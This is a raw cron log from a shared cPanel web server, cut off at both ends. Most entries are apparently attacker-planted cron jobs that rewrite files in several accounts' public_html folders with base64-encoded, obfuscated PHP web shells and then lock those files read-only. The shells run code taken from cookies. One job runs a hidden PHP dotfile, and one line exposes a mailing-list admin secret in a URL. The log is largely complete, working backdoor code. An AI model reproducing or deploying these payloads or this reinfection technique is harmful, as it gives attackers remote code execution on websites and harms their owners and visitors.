gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:40:01 medusa CROND[2635]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:40:01 medusa CROND[2637]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:40:01 medusa CROND[2644]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:40:01 medusa CROND[2631]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 14:41:02 medusa CROND[4516]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 14:41:02 medusa CROND[4526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:41:02 medusa CROND[4527]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:41:02 medusa CROND[4529]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:41:02 medusa CROND[4528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:41:02 medusa CROND[4530]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:41:02 medusa CROND[4531]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:41:02 medusa CROND[4532]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:41:02 medusa CROND[4533]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:41:02 medusa CROND[4535]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:41:02 medusa CROND[4534]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 14:41:02 medusa CROND[4539]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:41:02 medusa CROND[4547]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:41:02 medusa CROND[4543]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 14:42:01 medusa CROND[6361]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:42:01 medusa CROND[6362]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:42:01 medusa CROND[6363]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:42:01 medusa CROND[6364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:42:01 medusa CROND[6365]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 14:42:01 medusa CROND[6366]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:42:01 medusa CROND[6367]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:42:01 medusa CROND[6374]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:42:01 medusa CROND[6375]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:42:01 medusa CROND[6376]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:42:01 medusa CROND[6377]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:42:01 medusa CROND[6378]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 